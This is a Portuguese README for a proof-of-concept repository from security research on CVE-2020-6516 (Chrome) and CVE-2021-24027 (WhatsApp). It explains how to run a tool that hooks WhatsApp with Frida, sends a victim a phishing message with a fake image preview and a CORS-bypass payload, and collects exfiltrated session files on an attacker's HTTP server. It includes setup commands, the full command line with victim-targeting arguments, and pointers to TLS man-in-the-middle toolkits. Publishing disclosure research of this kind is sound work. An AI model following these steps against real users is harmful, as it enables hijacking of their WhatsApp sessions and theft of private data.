
PoC e ferramentas para explorar CVE-2020-6516 (Chrome) e CVE-2021-24027 (WhatsApp)
Este repositório contém código PoC e ferramentas que foram desenvolvidos como parte da nossa pesquisa [01] sobre a exploração remota de vulnerabilidades Man-in-the-Disk (MitD) no WhatsApp para Android. Conforme discutido no nosso post do blog, o código e os scripts acompanhantes encontrados aqui foram usados para explorar CVE-2020-6516 (Chrome) [02] e CVE-2021-24027 (WhatsApp) [03].
A estrutura deste repositório é a seguinte:
O diretório atual contém a ferramenta Python que faz hook no WhatsApp usando Frida, envia a mensagem de phishing com o payload de bypass de CORS e executa um servidor HTTP, para onde os arquivos de sessão exfiltrados do dispositivo da vítima são enviados.
tls12_psk_extract/ contém o conjunto de ferramentas MitM para TLS v1.2. Veja README.md nesse diretório para mais informações sobre como preparar um ambiente MitM.
watls_psk_extract/ contém o conjunto de ferramentas MitM para TLS v1.3 (WaTLS). Veja README.md nesse diretório para mais informações sobre como preparar um ambiente MitM.
openssl-1.1.1f-patches/ contém patches para OpenSSL 1.1.1f necessários para configurar ambientes MitM TLS v1.2 e/ou TLS v1.3.
secrets/ contém um script shell simples e uma configuração do OpenSSL para gerar certificados semelhantes aos usados pela infraestrutura TLS v1.3 do WhatsApp. As chaves e certificados gerados podem ser usados tanto para MitM TLS v1.2 quanto v1.3.
Por último, mas não menos importante, misc/ contém vários scripts Frida que foram usados para fins de teste e depuração durante nossa pesquisa e podem ser úteis para outros pesquisadores.
Para testar a PoC, você precisa de um dispositivo Android executando WhatsApp 2.20.206.22 [04]. Embora nosso código tenha sido inicialmente desenvolvido para a versão 2.19.355, e você possa encontrar os snippets correspondentes em frida_scripts/, essa versão é atualmente considerada "expirada" e não funcionará.
Antes de iniciar a PoC, é uma boa ideia compilar o mínimo possível do código DEX do WhatsApp. Fazer isso pode ajudar proativamente a evitar problemas como o Frida não conseguir fazer hook em métodos específicos.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Baixe o servidor Frida e envie-o para o seu dispositivo Android em /data/local/tmp, mantendo o nome do arquivo padrão. A versão 12.8.10 é testada e funciona bem. Sinta-se à vontade para baixar uma versão mais recente, se preferir. A PoC detectará automaticamente o binário do servidor Frida e tentará executá-lo com os argumentos de linha de comando apropriados.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
A lógica principal do exploit está implementada em main.py. Os arquivos adb.py e frida_util.py são versões reduzidas de ferramentas que usamos internamente para várias tarefas de depuração em dispositivos Android.
Para executar a PoC, conecte seu dispositivo Android ao computador e execute o seguinte comando:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
Os parâmetros de linha de comando passados para main.py são os seguintes:
-s - O número de série do dispositivo Android a ser usado, caso o atacante tenha vários dispositivos Android conectados ao seu computador.
-a e -p - Endereço e porta, respectivamente, do servidor HTTP para onde as sessões exfiltradas serão enviadas.
-r - Instrui o main.py a iniciar o servidor HTTP mencionado acima no computador local. Se você não usar -r, certifique-se de executar server.py no host especificado por -a e -p.
Os argumentos posicionais são os seguintes:
images/guardian.jpg - Uma imagem JPG que será usada como pré-visualização falsa da mensagem, para atrair a vítima a clicar nela.
[email protected] - O número de telefone celular da vítima no formato do WhatsApp. Geralmente é o prefixo do país seguido pelo número do celular. Por exemplo, números gregos (+30) ficam como [email protected].
"Rush for Mediterranean gas" - Uma string arbitrária a ser usada como legenda da mensagem.
Para um exemplo de uso na vida real, veja nosso post do blog e, mais especificamente, os vídeos de demonstração.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027